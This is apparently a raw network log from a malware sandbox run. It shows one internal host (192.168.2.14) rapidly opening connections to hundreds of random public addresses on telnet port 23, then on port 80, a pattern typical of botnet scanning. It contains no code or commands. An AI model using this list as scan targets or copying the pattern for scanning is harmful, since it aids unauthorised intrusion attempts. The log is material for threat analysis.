Dec 3, 2024 22:02:00.865278959 CET	39808	23	192.168.2.14	88.40.81.217
Dec 3, 2024 22:02:00.865307093 CET	39808	23	192.168.2.14	102.21.42.19
Dec 3, 2024 22:02:00.865313053 CET	39808	23	192.168.2.14	99.98.200.92
Dec 3, 2024 22:02:00.865324020 CET	39808	23	192.168.2.14	174.213.194.221
Dec 3, 2024 22:02:00.865329027 CET	39808	23	192.168.2.14	156.88.104.151
Dec 3, 2024 22:02:00.865329027 CET	39808	23	192.168.2.14	162.242.207.139
Dec 3, 2024 22:02:00.865329027 CET	39808	23	192.168.2.14	72.146.250.99
Dec 3, 2024 22:02:00.865339041 CET	39808	23	192.168.2.14	213.165.205.7
Dec 3, 2024 22:02:00.865339041 CET	39808	23	192.168.2.14	46.148.201.248
Dec 3, 2024 22:02:00.865343094 CET	39808	23	192.168.2.14	1.154.64.193
Dec 3, 2024 22:02:00.865353107 CET	39808	23	192.168.2.14	61.19.62.251
Dec 3, 2024 22:02:00.865360022 CET	39808	23	192.168.2.14	17.155.45.22
Dec 3, 2024 22:02:00.865370035 CET	39808	23	192.168.2.14	68.30.198.11
Dec 3, 2024 22:02:00.865377903 CET	39808	23	192.168.2.14	174.118.57.102
Dec 3, 2024 22:02:00.865377903 CET	39808	23	192.168.2.14	36.50.26.15
Dec 3, 2024 22:02:00.865386963 CET	39808	23	192.168.2.14	176.253.194.151
Dec 3, 2024 22:02:00.865398884 CET	39808	23	192.168.2.14	93.176.186.4
Dec 3, 2024 22:02:00.865408897 CET	39808	23	192.168.2.14	23.165.74.104
Dec 3, 2024 22:02:00.865411997 CET	39808	23	192.168.2.14	176.121.117.75
Dec 3, 2024 22:02:00.865423918 CET	39808	23	192.168.2.14	72.119.94.177
Dec 3, 2024 22:02:00.865433931 CET	39808	23	192.168.2.14	139.200.183.43
Dec 3, 2024 22:02:00.865442038 CET	39808	23	192.168.2.14	182.205.90.237
Dec 3, 2024 22:02:00.865447998 CET	39808	23	192.168.2.14	129.186.225.207
Dec 3, 2024 22:02:00.865456104 CET	39808	23	192.168.2.14	58.231.7.187
Dec 3, 2024 22:02:00.865464926 CET	39808	23	192.168.2.14	207.255.133.29
Dec 3, 2024 22:02:00.865469933 CET	39808	23	192.168.2.14	168.52.6.68
Dec 3, 2024 22:02:00.865480900 CET	39808	23	192.168.2.14	133.88.105.58
Dec 3, 2024 22:02:00.865485907 CET	39808	23	192.168.2.14	104.175.15.110
Dec 3, 2024 22:02:00.865504026 CET	39808	23	192.168.2.14	25.144.209.19
Dec 3, 2024 22:02:00.865515947 CET	39808	23	192.168.2.14	72.21.97.208
Dec 3, 2024 22:02:00.865525007 CET	39808	23	192.168.2.14	141.53.174.78
Dec 3, 2024 22:02:00.865534067 CET	39808	23	192.168.2.14	57.232.249.97
Dec 3, 2024 22:02:00.865541935 CET	39808	23	192.168.2.14	63.220.67.142
Dec 3, 2024 22:02:00.865552902 CET	39808	23	192.168.2.14	201.78.200.143
Dec 3, 2024 22:02:00.865552902 CET	39808	23	192.168.2.14	45.29.187.39
Dec 3, 2024 22:02:00.865566969 CET	39808	23	192.168.2.14	194.192.33.200
Dec 3, 2024 22:02:00.865575075 CET	39808	23	192.168.2.14	38.132.119.104
Dec 3, 2024 22:02:00.865592003 CET	39808	23	192.168.2.14	143.224.204.116
Dec 3, 2024 22:02:00.865593910 CET	39808	23	192.168.2.14	173.41.20.236
Dec 3, 2024 22:02:00.865593910 CET	39808	23	192.168.2.14	129.179.181.226
Dec 3, 2024 22:02:00.865607977 CET	39808	23	192.168.2.14	43.233.216.33
Dec 3, 2024 22:02:00.865612030 CET	39808	23	192.168.2.14	79.205.187.232
Dec 3, 2024 22:02:00.865628004 CET	39808	23	192.168.2.14	20.230.136.44
Dec 3, 2024 22:02:00.865633965 CET	39808	23	192.168.2.14	101.186.216.106
Dec 3, 2024 22:02:00.865639925 CET	39808	23	192.168.2.14	187.56.151.205
Dec 3, 2024 22:02:00.865650892 CET	39808	23	192.168.2.14	53.188.39.134
Dec 3, 2024 22:02:00.865650892 CET	39808	23	192.168.2.14	114.65.38.230
Dec 3, 2024 22:02:00.865664005 CET	39808	23	192.168.2.14	218.217.181.167
Dec 3, 2024 22:02:00.865669012 CET	39808	23	192.168.2.14	177.79.41.5
Dec 3, 2024 22:02:00.865700960 CET	39808	23	192.168.2.14	169.177.217.106
Dec 3, 2024 22:02:00.865709066 CET	39808	23	192.168.2.14	176.210.97.88
Dec 3, 2024 22:02:00.865714073 CET	39808	23	192.168.2.14	142.213.242.42
Dec 3, 2024 22:02:00.865727901 CET	39808	23	192.168.2.14	35.199.58.63
Dec 3, 2024 22:02:00.865732908 CET	39808	23	192.168.2.14	78.144.1.201
Dec 3, 2024 22:02:00.865737915 CET	39808	23	192.168.2.14	167.119.11.41
Dec 3, 2024 22:02:00.865750074 CET	39808	23	192.168.2.14	178.45.188.231
Dec 3, 2024 22:02:00.865755081 CET	39808	23	192.168.2.14	135.120.115.71
Dec 3, 2024 22:02:00.865767956 CET	39808	23	192.168.2.14	87.154.152.238
Dec 3, 2024 22:02:00.865773916 CET	39808	23	192.168.2.14	66.243.150.37
Dec 3, 2024 22:02:00.865781069 CET	39808	23	192.168.2.14	128.59.50.119
Dec 3, 2024 22:02:00.865788937 CET	39808	23	192.168.2.14	93.90.36.249
Dec 3, 2024 22:02:00.865804911 CET	39808	23	192.168.2.14	152.50.163.127
Dec 3, 2024 22:02:00.865820885 CET	39808	23	192.168.2.14	162.204.183.63
Dec 3, 2024 22:02:00.865820885 CET	39808	23	192.168.2.14	73.137.124.245
Dec 3, 2024 22:02:00.865820885 CET	39808	23	192.168.2.14	183.40.111.22
Dec 3, 2024 22:02:00.865829945 CET	39808	23	192.168.2.14	9.206.119.155
Dec 3, 2024 22:02:00.865837097 CET	39808	23	192.168.2.14	184.224.114.13
Dec 3, 2024 22:02:00.865843058 CET	39808	23	192.168.2.14	193.29.20.251
Dec 3, 2024 22:02:00.865864038 CET	39808	23	192.168.2.14	101.6.65.11
Dec 3, 2024 22:02:00.865870953 CET	39808	23	192.168.2.14	62.233.221.52
Dec 3, 2024 22:02:00.865876913 CET	39808	23	192.168.2.14	166.201.6.96
Dec 3, 2024 22:02:00.865881920 CET	39808	23	192.168.2.14	70.228.209.27
Dec 3, 2024 22:02:00.865881920 CET	39808	23	192.168.2.14	83.4.52.18
Dec 3, 2024 22:02:00.865895987 CET	39808	23	192.168.2.14	128.179.157.175
Dec 3, 2024 22:02:00.865906954 CET	39808	23	192.168.2.14	207.160.26.81
Dec 3, 2024 22:02:00.865906954 CET	39808	23	192.168.2.14	98.124.219.26
Dec 3, 2024 22:02:00.865925074 CET	39808	23	192.168.2.14	207.57.92.140
Dec 3, 2024 22:02:00.865931034 CET	39808	23	192.168.2.14	147.25.137.211
Dec 3, 2024 22:02:00.865937948 CET	39808	23	192.168.2.14	192.17.123.145
Dec 3, 2024 22:02:00.865942955 CET	39808	23	192.168.2.14	197.30.59.154
Dec 3, 2024 22:02:00.865952015 CET	39808	23	192.168.2.14	177.166.55.9
Dec 3, 2024 22:02:00.865962982 CET	39808	23	192.168.2.14	200.232.165.100
Dec 3, 2024 22:02:00.865971088 CET	39808	23	192.168.2.14	188.221.209.202
Dec 3, 2024 22:02:00.865982056 CET	39808	23	192.168.2.14	25.234.154.247
Dec 3, 2024 22:02:00.865987062 CET	39808	23	192.168.2.14	203.245.51.242
Dec 3, 2024 22:02:00.865994930 CET	39808	23	192.168.2.14	116.211.117.251
Dec 3, 2024 22:02:00.866008997 CET	39808	23	192.168.2.14	61.62.185.228
Dec 3, 2024 22:02:00.866019964 CET	39808	23	192.168.2.14	18.18.62.109
Dec 3, 2024 22:02:00.866024971 CET	39808	23	192.168.2.14	93.91.51.127
Dec 3, 2024 22:02:00.866027117 CET	39808	23	192.168.2.14	23.71.99.234
Dec 3, 2024 22:02:00.866034985 CET	39808	23	192.168.2.14	145.104.176.184
Dec 3, 2024 22:02:00.866044998 CET	39808	23	192.168.2.14	123.253.228.185
Dec 3, 2024 22:02:00.866051912 CET	39808	23	192.168.2.14	132.160.146.189
Dec 3, 2024 22:02:00.866061926 CET	39808	23	192.168.2.14	159.198.250.16
Dec 3, 2024 22:02:00.866064072 CET	39808	23	192.168.2.14	147.245.83.83
Dec 3, 2024 22:02:00.866072893 CET	39808	23	192.168.2.14	137.1.9.68
Dec 3, 2024 22:02:00.866076946 CET	39808	23	192.168.2.14	178.167.164.156
Dec 3, 2024 22:02:00.866090059 CET	39808	23	192.168.2.14	63.240.174.244
Dec 3, 2024 22:02:00.866097927 CET	39808	23	192.168.2.14	159.81.182.11
Dec 3, 2024 22:02:00.866106987 CET	39808	23	192.168.2.14	202.209.170.183
Dec 3, 2024 22:02:00.866117001 CET	39808	23	192.168.2.14	194.216.121.149
Dec 3, 2024 22:02:00.866123915 CET	39808	23	192.168.2.14	175.85.67.47
Dec 3, 2024 22:02:00.866133928 CET	39808	23	192.168.2.14	49.53.230.115
Dec 3, 2024 22:02:00.866141081 CET	39808	23	192.168.2.14	45.162.7.49
Dec 3, 2024 22:02:00.866147995 CET	39808	23	192.168.2.14	92.131.197.124
Dec 3, 2024 22:02:00.866158962 CET	39808	23	192.168.2.14	222.49.141.217
Dec 3, 2024 22:02:00.866166115 CET	39808	23	192.168.2.14	118.196.7.244
Dec 3, 2024 22:02:00.866178036 CET	39808	23	192.168.2.14	5.143.245.46
Dec 3, 2024 22:02:00.866178036 CET	39808	23	192.168.2.14	146.129.18.3
Dec 3, 2024 22:02:00.866189957 CET	39808	23	192.168.2.14	175.192.1.45
Dec 3, 2024 22:02:00.866199970 CET	39808	23	192.168.2.14	193.195.30.149
Dec 3, 2024 22:02:00.866206884 CET	39808	23	192.168.2.14	160.10.16.110
Dec 3, 2024 22:02:00.866211891 CET	39808	23	192.168.2.14	126.131.7.65
Dec 3, 2024 22:02:00.866224051 CET	39808	23	192.168.2.14	115.39.25.160
Dec 3, 2024 22:02:00.866231918 CET	39808	23	192.168.2.14	208.128.89.175
Dec 3, 2024 22:02:00.866249084 CET	39808	23	192.168.2.14	123.7.237.121
Dec 3, 2024 22:02:00.866259098 CET	39808	23	192.168.2.14	51.58.27.76
Dec 3, 2024 22:02:00.866266012 CET	39808	23	192.168.2.14	166.252.66.205
Dec 3, 2024 22:02:00.866272926 CET	39808	23	192.168.2.14	164.235.80.15
Dec 3, 2024 22:02:00.866275072 CET	39808	23	192.168.2.14	139.52.148.152
Dec 3, 2024 22:02:00.866285086 CET	39808	23	192.168.2.14	218.174.154.242
Dec 3, 2024 22:02:00.866292953 CET	39808	23	192.168.2.14	99.137.237.29
Dec 3, 2024 22:02:00.866308928 CET	39808	23	192.168.2.14	211.226.64.56
Dec 3, 2024 22:02:00.866317987 CET	39808	23	192.168.2.14	153.126.89.245
Dec 3, 2024 22:02:00.866317987 CET	39808	23	192.168.2.14	151.127.176.61
Dec 3, 2024 22:02:00.866322041 CET	39808	23	192.168.2.14	36.161.56.2
Dec 3, 2024 22:02:00.866336107 CET	39808	23	192.168.2.14	197.1.131.79
Dec 3, 2024 22:02:00.866338015 CET	39808	23	192.168.2.14	154.170.251.57
Dec 3, 2024 22:02:00.866343021 CET	39808	23	192.168.2.14	194.242.102.159
Dec 3, 2024 22:02:00.866352081 CET	39808	23	192.168.2.14	169.215.99.181
Dec 3, 2024 22:02:00.866358995 CET	39808	23	192.168.2.14	106.130.212.55
Dec 3, 2024 22:02:00.866374969 CET	39808	23	192.168.2.14	119.194.219.141
Dec 3, 2024 22:02:00.866380930 CET	39808	23	192.168.2.14	66.2.229.229
Dec 3, 2024 22:02:00.866405964 CET	39808	23	192.168.2.14	164.15.190.228
Dec 3, 2024 22:02:00.866416931 CET	39808	23	192.168.2.14	113.244.2.215
Dec 3, 2024 22:02:00.866422892 CET	39808	23	192.168.2.14	40.183.48.89
Dec 3, 2024 22:02:00.866442919 CET	39808	23	192.168.2.14	165.85.117.232
Dec 3, 2024 22:02:00.866453886 CET	39808	23	192.168.2.14	47.248.32.67
Dec 3, 2024 22:02:00.866453886 CET	39808	23	192.168.2.14	105.171.177.38
Dec 3, 2024 22:02:00.866461039 CET	39808	23	192.168.2.14	61.154.81.81
Dec 3, 2024 22:02:00.866470098 CET	39808	23	192.168.2.14	73.77.244.62
Dec 3, 2024 22:02:00.866470098 CET	39808	23	192.168.2.14	185.161.253.150
Dec 3, 2024 22:02:00.866482973 CET	39808	23	192.168.2.14	163.54.89.179
Dec 3, 2024 22:02:00.866491079 CET	39808	23	192.168.2.14	45.200.176.176
Dec 3, 2024 22:02:00.866506100 CET	39808	23	192.168.2.14	68.221.26.70
Dec 3, 2024 22:02:00.866508007 CET	39808	23	192.168.2.14	163.82.187.219
Dec 3, 2024 22:02:00.866512060 CET	39808	23	192.168.2.14	71.47.226.177
Dec 3, 2024 22:02:00.866523027 CET	39808	23	192.168.2.14	137.212.72.189
Dec 3, 2024 22:02:00.866533041 CET	39808	23	192.168.2.14	81.191.244.45
Dec 3, 2024 22:02:00.866540909 CET	39808	23	192.168.2.14	84.64.58.87
Dec 3, 2024 22:02:00.866549969 CET	39808	23	192.168.2.14	93.68.87.246
Dec 3, 2024 22:02:00.866558075 CET	39808	23	192.168.2.14	142.246.170.115
Dec 3, 2024 22:02:00.866569042 CET	39808	23	192.168.2.14	132.186.156.134
Dec 3, 2024 22:02:00.866573095 CET	39808	23	192.168.2.14	206.71.122.133
Dec 3, 2024 22:02:00.866583109 CET	39808	23	192.168.2.14	177.143.196.7
Dec 3, 2024 22:02:00.866592884 CET	39808	23	192.168.2.14	96.86.141.202
Dec 3, 2024 22:02:00.866597891 CET	39808	23	192.168.2.14	109.165.109.6
Dec 3, 2024 22:02:00.866610050 CET	39808	23	192.168.2.14	39.42.29.240
Dec 3, 2024 22:02:00.866616011 CET	39808	23	192.168.2.14	53.199.17.85
Dec 3, 2024 22:02:00.866628885 CET	39808	23	192.168.2.14	64.174.119.218
Dec 3, 2024 22:02:00.866630077 CET	39808	23	192.168.2.14	76.226.183.220
Dec 3, 2024 22:02:00.866640091 CET	39808	23	192.168.2.14	93.220.222.243
Dec 3, 2024 22:02:00.866648912 CET	39808	23	192.168.2.14	69.118.189.67
Dec 3, 2024 22:02:00.866657972 CET	39808	23	192.168.2.14	83.33.220.231
Dec 3, 2024 22:02:00.866666079 CET	39808	23	192.168.2.14	137.160.158.211
Dec 3, 2024 22:02:00.866673946 CET	39808	23	192.168.2.14	219.139.216.128
Dec 3, 2024 22:02:00.866683006 CET	39808	23	192.168.2.14	122.162.186.194
Dec 3, 2024 22:02:00.866688013 CET	39808	23	192.168.2.14	204.47.91.218
Dec 3, 2024 22:02:00.866698980 CET	39808	23	192.168.2.14	135.165.43.17
Dec 3, 2024 22:02:00.866707087 CET	39808	23	192.168.2.14	20.0.198.248
Dec 3, 2024 22:02:00.866717100 CET	39808	23	192.168.2.14	42.50.130.191
Dec 3, 2024 22:02:00.866725922 CET	39808	23	192.168.2.14	60.126.81.181
Dec 3, 2024 22:02:00.866725922 CET	39808	23	192.168.2.14	170.165.175.160
Dec 3, 2024 22:02:00.866735935 CET	39808	23	192.168.2.14	53.57.141.239
Dec 3, 2024 22:02:00.866753101 CET	39808	23	192.168.2.14	187.123.137.32
Dec 3, 2024 22:02:00.866755009 CET	39808	23	192.168.2.14	42.90.59.1
Dec 3, 2024 22:02:00.866764069 CET	39808	23	192.168.2.14	63.124.234.202
Dec 3, 2024 22:02:00.866770983 CET	39808	23	192.168.2.14	40.209.178.87
Dec 3, 2024 22:02:00.866780043 CET	39808	23	192.168.2.14	118.166.197.154
Dec 3, 2024 22:02:00.866789103 CET	39808	23	192.168.2.14	100.1.131.10
Dec 3, 2024 22:02:00.866796970 CET	39808	23	192.168.2.14	220.147.162.30
Dec 3, 2024 22:02:00.866806984 CET	39808	23	192.168.2.14	212.180.7.28
Dec 3, 2024 22:02:00.866813898 CET	39808	23	192.168.2.14	34.110.91.188
Dec 3, 2024 22:02:00.866823912 CET	39808	23	192.168.2.14	96.91.74.164
Dec 3, 2024 22:02:00.866832972 CET	39808	23	192.168.2.14	8.24.87.231
Dec 3, 2024 22:02:00.866832972 CET	39808	23	192.168.2.14	31.228.165.166
Dec 3, 2024 22:02:00.866848946 CET	39808	23	192.168.2.14	105.96.188.110
Dec 3, 2024 22:02:00.866848946 CET	39808	23	192.168.2.14	116.192.232.16
Dec 3, 2024 22:02:00.866866112 CET	39808	23	192.168.2.14	113.252.250.112
Dec 3, 2024 22:02:00.866879940 CET	39808	23	192.168.2.14	143.27.123.105
Dec 3, 2024 22:02:00.866880894 CET	39808	23	192.168.2.14	65.227.1.2
Dec 3, 2024 22:02:00.866888046 CET	39808	23	192.168.2.14	204.1.134.174
Dec 3, 2024 22:02:00.866898060 CET	39808	23	192.168.2.14	177.144.161.250
Dec 3, 2024 22:02:00.866905928 CET	39808	23	192.168.2.14	191.154.136.253
Dec 3, 2024 22:02:00.866914034 CET	39808	23	192.168.2.14	108.249.86.71
Dec 3, 2024 22:02:00.866923094 CET	39808	23	192.168.2.14	185.198.71.110
Dec 3, 2024 22:02:00.866930008 CET	39808	23	192.168.2.14	51.176.166.9
Dec 3, 2024 22:02:00.866938114 CET	39808	23	192.168.2.14	121.9.243.145
Dec 3, 2024 22:02:00.866947889 CET	39808	23	192.168.2.14	72.213.216.9
Dec 3, 2024 22:02:00.866955042 CET	39808	23	192.168.2.14	151.214.157.74
Dec 3, 2024 22:02:00.866964102 CET	39808	23	192.168.2.14	68.148.47.174
Dec 3, 2024 22:02:00.866967916 CET	39808	23	192.168.2.14	198.54.146.44
Dec 3, 2024 22:02:00.866977930 CET	39808	23	192.168.2.14	223.198.61.127
Dec 3, 2024 22:02:00.866981983 CET	39808	23	192.168.2.14	207.153.208.103
Dec 3, 2024 22:02:00.866995096 CET	39808	23	192.168.2.14	20.51.91.120
Dec 3, 2024 22:02:00.867003918 CET	39808	23	192.168.2.14	74.0.184.126
Dec 3, 2024 22:02:00.867010117 CET	39808	23	192.168.2.14	76.32.36.62
Dec 3, 2024 22:02:00.867023945 CET	39808	23	192.168.2.14	68.115.177.50
Dec 3, 2024 22:02:00.867027998 CET	39808	23	192.168.2.14	142.36.123.129
Dec 3, 2024 22:02:00.867036104 CET	39808	23	192.168.2.14	131.99.58.24
Dec 3, 2024 22:02:00.867044926 CET	39808	23	192.168.2.14	154.176.121.204
Dec 3, 2024 22:02:00.867060900 CET	39808	23	192.168.2.14	40.222.241.135
Dec 3, 2024 22:02:00.867063999 CET	39808	23	192.168.2.14	189.48.219.192
Dec 3, 2024 22:02:00.867065907 CET	39808	23	192.168.2.14	49.62.138.46
Dec 3, 2024 22:02:00.867070913 CET	39808	23	192.168.2.14	196.2.181.219
Dec 3, 2024 22:02:00.867080927 CET	39808	23	192.168.2.14	123.116.43.158
Dec 3, 2024 22:02:00.867091894 CET	39808	23	192.168.2.14	206.142.184.187
Dec 3, 2024 22:02:00.867100954 CET	39808	23	192.168.2.14	62.213.104.226
Dec 3, 2024 22:02:00.867105007 CET	39808	23	192.168.2.14	31.19.136.21
Dec 3, 2024 22:02:00.867115021 CET	39808	23	192.168.2.14	132.230.104.185
Dec 3, 2024 22:02:00.867124081 CET	39808	23	192.168.2.14	60.209.181.58
Dec 3, 2024 22:02:00.867131948 CET	39808	23	192.168.2.14	168.213.47.208
Dec 3, 2024 22:02:00.867152929 CET	39808	23	192.168.2.14	202.164.236.44
Dec 3, 2024 22:02:00.867155075 CET	39808	23	192.168.2.14	111.115.77.84
Dec 3, 2024 22:02:00.867161036 CET	39808	23	192.168.2.14	180.235.196.224
Dec 3, 2024 22:02:00.867173910 CET	39808	23	192.168.2.14	164.18.68.31
Dec 3, 2024 22:02:00.867178917 CET	39808	23	192.168.2.14	106.5.124.219
Dec 3, 2024 22:02:00.867183924 CET	39808	23	192.168.2.14	163.80.180.179
Dec 3, 2024 22:02:00.867192030 CET	39808	23	192.168.2.14	175.105.148.130
Dec 3, 2024 22:02:00.867202997 CET	39808	23	192.168.2.14	117.6.197.176
Dec 3, 2024 22:02:00.867208004 CET	39808	23	192.168.2.14	59.46.9.143
Dec 3, 2024 22:02:00.867223024 CET	39808	23	192.168.2.14	103.148.102.27
Dec 3, 2024 22:02:00.867223978 CET	39808	23	192.168.2.14	201.174.92.162
Dec 3, 2024 22:02:00.867233992 CET	39808	23	192.168.2.14	78.5.157.72
Dec 3, 2024 22:02:00.867249966 CET	39808	23	192.168.2.14	171.173.3.122
Dec 3, 2024 22:02:00.867252111 CET	39808	23	192.168.2.14	86.56.188.6
Dec 3, 2024 22:02:00.867257118 CET	39808	23	192.168.2.14	205.219.164.47
Dec 3, 2024 22:02:00.867265940 CET	39808	23	192.168.2.14	161.194.26.49
Dec 3, 2024 22:02:00.867271900 CET	39808	23	192.168.2.14	120.151.170.26
Dec 3, 2024 22:02:00.867283106 CET	39808	23	192.168.2.14	13.235.123.50
Dec 3, 2024 22:02:00.867290020 CET	39808	23	192.168.2.14	47.141.190.233
Dec 3, 2024 22:02:00.867300987 CET	39808	23	192.168.2.14	168.143.220.44
Dec 3, 2024 22:02:00.867307901 CET	39808	23	192.168.2.14	182.63.139.173
Dec 3, 2024 22:02:00.867331028 CET	39808	23	192.168.2.14	105.53.147.224
Dec 3, 2024 22:02:00.867332935 CET	39808	23	192.168.2.14	90.35.67.86
Dec 3, 2024 22:02:00.867897987 CET	51298	23	192.168.2.14	13.124.229.68
Dec 3, 2024 22:02:00.868463039 CET	34478	23	192.168.2.14	168.119.91.255
Dec 3, 2024 22:02:00.868983030 CET	38240	23	192.168.2.14	115.166.244.237
Dec 3, 2024 22:02:00.869474888 CET	57530	23	192.168.2.14	94.116.239.39
Dec 3, 2024 22:02:00.869973898 CET	53370	23	192.168.2.14	130.124.140.220
Dec 3, 2024 22:02:00.870471954 CET	32850	23	192.168.2.14	128.161.30.114
Dec 3, 2024 22:02:00.870971918 CET	50270	23	192.168.2.14	154.15.98.17
Dec 3, 2024 22:02:00.871493101 CET	58922	23	192.168.2.14	97.151.143.245
Dec 3, 2024 22:02:00.872005939 CET	34148	23	192.168.2.14	212.36.35.12
Dec 3, 2024 22:02:00.872529984 CET	54100	23	192.168.2.14	5.116.153.208
Dec 3, 2024 22:02:00.873043060 CET	56232	23	192.168.2.14	143.219.149.54
Dec 3, 2024 22:02:00.873574972 CET	33806	23	192.168.2.14	157.72.31.213
Dec 3, 2024 22:02:00.874066114 CET	36046	23	192.168.2.14	195.100.239.208
Dec 3, 2024 22:02:00.874567032 CET	45410	23	192.168.2.14	119.199.83.42
Dec 3, 2024 22:02:00.875036955 CET	60850	23	192.168.2.14	60.180.252.75
Dec 3, 2024 22:02:00.875559092 CET	52214	23	192.168.2.14	205.124.76.247
Dec 3, 2024 22:02:00.876063108 CET	47010	23	192.168.2.14	148.136.178.84
Dec 3, 2024 22:02:00.876583099 CET	37060	23	192.168.2.14	193.49.183.17
Dec 3, 2024 22:02:00.877111912 CET	42856	23	192.168.2.14	92.38.136.104
Dec 3, 2024 22:02:00.877621889 CET	41926	23	192.168.2.14	45.195.72.70
Dec 3, 2024 22:02:00.878155947 CET	47186	23	192.168.2.14	14.70.142.212
Dec 3, 2024 22:02:00.878658056 CET	50566	23	192.168.2.14	89.190.150.69
Dec 3, 2024 22:02:00.879185915 CET	57604	23	192.168.2.14	84.105.253.51
Dec 3, 2024 22:02:00.879723072 CET	38938	23	192.168.2.14	61.102.46.152
Dec 3, 2024 22:02:00.880192995 CET	58672	23	192.168.2.14	210.74.210.19
Dec 3, 2024 22:02:00.880687952 CET	47100	23	192.168.2.14	158.203.26.242
Dec 3, 2024 22:02:00.881175995 CET	52390	23	192.168.2.14	221.251.241.251
Dec 3, 2024 22:02:00.881663084 CET	41246	23	192.168.2.14	40.120.172.73
Dec 3, 2024 22:02:00.882174969 CET	40134	23	192.168.2.14	135.138.34.162
Dec 3, 2024 22:02:00.882694006 CET	46494	23	192.168.2.14	72.252.221.216
Dec 3, 2024 22:02:00.883234978 CET	48982	23	192.168.2.14	69.247.55.162
Dec 3, 2024 22:02:00.883780003 CET	37314	23	192.168.2.14	177.230.239.93
Dec 3, 2024 22:02:00.884248018 CET	34748	23	192.168.2.14	154.57.243.108
Dec 3, 2024 22:02:00.884749889 CET	42022	23	192.168.2.14	195.76.82.241
Dec 3, 2024 22:02:00.885231018 CET	51250	23	192.168.2.14	131.193.182.54
Dec 3, 2024 22:02:00.885729074 CET	40862	23	192.168.2.14	97.247.114.67
Dec 3, 2024 22:02:00.886221886 CET	37760	23	192.168.2.14	65.78.157.20
Dec 3, 2024 22:02:00.886667967 CET	42788	23	192.168.2.14	73.76.156.168
Dec 3, 2024 22:02:00.887192011 CET	58936	23	192.168.2.14	196.73.121.22
Dec 3, 2024 22:02:00.887638092 CET	36944	23	192.168.2.14	43.104.141.215
Dec 3, 2024 22:02:00.888139963 CET	56540	23	192.168.2.14	175.145.253.130
Dec 3, 2024 22:02:00.888277054 CET	39296	80	192.168.2.14	177.120.234.6
Dec 3, 2024 22:02:00.888288975 CET	39296	80	192.168.2.14	196.59.34.250
Dec 3, 2024 22:02:00.888290882 CET	39296	80	192.168.2.14	66.53.133.114
Dec 3, 2024 22:02:00.888303995 CET	39296	80	192.168.2.14	106.123.188.126
Dec 3, 2024 22:02:00.888317108 CET	39296	80	192.168.2.14	211.176.197.206
Dec 3, 2024 22:02:00.888318062 CET	39296	80	192.168.2.14	63.153.145.34
Dec 3, 2024 22:02:00.888322115 CET	39296	80	192.168.2.14	199.191.217.167
Dec 3, 2024 22:02:00.888334036 CET	39296	80	192.168.2.14	68.19.7.71
Dec 3, 2024 22:02:00.888341904 CET	39296	80	192.168.2.14	150.214.234.8
Dec 3, 2024 22:02:00.888341904 CET	39296	80	192.168.2.14	219.48.10.78
Dec 3, 2024 22:02:00.888365984 CET	39296	80	192.168.2.14	161.71.10.101
Dec 3, 2024 22:02:00.888370991 CET	39296	80	192.168.2.14	27.204.241.108
Dec 3, 2024 22:02:00.888374090 CET	39296	80	192.168.2.14	31.93.112.116
Dec 3, 2024 22:02:00.888384104 CET	39296	80	192.168.2.14	109.86.159.30
Dec 3, 2024 22:02:00.888391018 CET	39296	80	192.168.2.14	193.213.30.203
Dec 3, 2024 22:02:00.888400078 CET	39296	80	192.168.2.14	99.39.63.237
Dec 3, 2024 22:02:00.888407946 CET	39296	80	192.168.2.14	187.20.6.106
Dec 3, 2024 22:02:00.888416052 CET	39296	80	192.168.2.14	177.42.241.206
Dec 3, 2024 22:02:00.888426065 CET	39296	80	192.168.2.14	208.150.21.152
Dec 3, 2024 22:02:00.888433933 CET	39296	80	192.168.2.14	188.188.144.13
Dec 3, 2024 22:02:00.888438940 CET	39296	80	192.168.2.14	25.207.65.156
Dec 3, 2024 22:02:00.888451099 CET	39296	80	192.168.2.14	68.171.135.195
Dec 3, 2024 22:02:00.888463020 CET	39296	80	192.168.2.14	174.121.159.74
Dec 3, 2024 22:02:00.888463020 CET	39296	80	192.168.2.14	142.203.7.43
Dec 3, 2024 22:02:00.888475895 CET	39296	80	192.168.2.14	38.162.79.224
Dec 3, 2024 22:02:00.888485909 CET	39296	80	192.168.2.14	100.232.235.4
Dec 3, 2024 22:02:00.888494968 CET	39296	80	192.168.2.14	85.129.224.150
Dec 3, 2024 22:02:00.888501883 CET	39296	80	192.168.2.14	147.239.4.78
Dec 3, 2024 22:02:00.888511896 CET	39296	80	192.168.2.14	94.111.164.142
Dec 3, 2024 22:02:00.888514996 CET	39296	80	192.168.2.14	52.192.121.181
Dec 3, 2024 22:02:00.888520002 CET	39296	80	192.168.2.14	42.142.98.37
Dec 3, 2024 22:02:00.888531923 CET	39296	80	192.168.2.14	85.115.49.196
Dec 3, 2024 22:02:00.888541937 CET	39296	80	192.168.2.14	2.206.243.243
Dec 3, 2024 22:02:00.888550043 CET	39296	80	192.168.2.14	176.42.238.144
Dec 3, 2024 22:02:00.888556004 CET	39296	80	192.168.2.14	125.162.207.58
Dec 3, 2024 22:02:00.888566971 CET	39296	80	192.168.2.14	169.227.222.67
Dec 3, 2024 22:02:00.888575077 CET	39296	80	192.168.2.14	13.253.203.131
Dec 3, 2024 22:02:00.888586998 CET	39296	80	192.168.2.14	189.235.254.65
Dec 3, 2024 22:02:00.888586998 CET	39296	80	192.168.2.14	151.107.139.218
Dec 3, 2024 22:02:00.888602018 CET	39296	80	192.168.2.14	77.5.124.117
Dec 3, 2024 22:02:00.888609886 CET	39296	80	192.168.2.14	210.119.100.8
Dec 3, 2024 22:02:00.888617039 CET	39296	80	192.168.2.14	63.73.129.122
Dec 3, 2024 22:02:00.888627052 CET	39296	80	192.168.2.14	13.8.131.245
Dec 3, 2024 22:02:00.888633966 CET	39296	80	192.168.2.14	59.132.250.121
Dec 3, 2024 22:02:00.888643980 CET	39296	80	192.168.2.14	45.28.38.197
Dec 3, 2024 22:02:00.888650894 CET	39296	80	192.168.2.14	184.70.249.5
Dec 3, 2024 22:02:00.888657093 CET	39296	80	192.168.2.14	196.80.144.153
Dec 3, 2024 22:02:00.888670921 CET	39296	80	192.168.2.14	206.176.168.249
Dec 3, 2024 22:02:00.888670921 CET	39296	80	192.168.2.14	156.113.17.220
Dec 3, 2024 22:02:00.888685942 CET	39296	80	192.168.2.14	71.12.160.9
Dec 3, 2024 22:02:00.888693094 CET	39296	80	192.168.2.14	62.49.47.121
Dec 3, 2024 22:02:00.888698101 CET	39296	80	192.168.2.14	120.218.83.82
Dec 3, 2024 22:02:00.888710022 CET	39296	80	192.168.2.14	204.223.208.85
Dec 3, 2024 22:02:00.888724089 CET	39296	80	192.168.2.14	118.18.165.3
